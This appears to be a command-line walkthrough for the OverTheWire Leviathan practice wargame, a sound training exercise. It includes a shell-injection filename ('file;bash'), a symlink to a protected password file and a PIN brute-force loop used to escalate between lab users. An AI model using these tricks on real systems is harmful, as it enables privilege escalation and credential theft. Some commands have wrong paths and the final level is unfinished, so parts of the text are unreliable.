Leviathan Walkthrough (OverTheWire)

Level 0 ➜ Level 1
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ssh leviathan0@leviathan.labs.overthewire.org -p 2223
ls -la
cd .backup/
cat bookmarks.html
grep password bookmarks.html

Level 1 ➜ Level 2
----
ssh leviathan1@leviathan.labs.overthewire.org -p 2223
ls -la
file check
ltrace ./check
./check
ls
cat etc/leviathan_pass/leviathan2

Level 2 ➜ Level 3
----
ssh leviathan2@leviathan.labs.overthewire.org -p 2223
ls -la
./printfile
cat etc/leviathan_pass/leviathan3
mktemp -d
cd /tmp/tmp.XmR5Hh5SKx
touch 'file;bash'
ls
cd
./printfile /tmp/tmp.XmR5Hh5SKx/file\;bash
ls
cat etc/leviathan_pass/leviathan3

Level 3 ➜ Level 4
----
ssh leviathan3@leviathan.labs.overthewire.org -p 2223
ls -la
./level3
ltrace ./level3
Enter password when prompted
ls
cat etc/leviathan_pass/leviathan4

Level 4 ➜ Level 5
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ssh leviathan4@leviathan.labs.overthewire.org -p 2223
ls -la
cd .trash/

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ls -la
./bin
# Convert the binary output to text (strings/binwalk/xxd)


Level 5 ➜ Level 6
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ssh leviathan5@leviathan.labs.overthewire.org -p 2223
ls -la
./leviathan5
ltrace ./leviathan5
touch /tmp/file.log
echo "hello" > /tmp/file.log
ltrace ./leviathan5
ln -s /etc/leviathan_pass/leviathan6 /tmp/file.log
./leviathan5


Level 6 ➜ Level 7
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ssh leviathan6@leviathan.labs.overthewire.org -p 2223
ls
./leviathan6
ltrace ./leviathan6
for i in {0000..9999}; do echo $i; ./leviathan6 $i; done
whoami
ls
cat etc/leviathan_pass/leviathan7


Level 7 ➜ Level 8
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ssh leviathan7@leviathan.labs.overthewire.org -p 2223
ls -la
# Further steps needed
```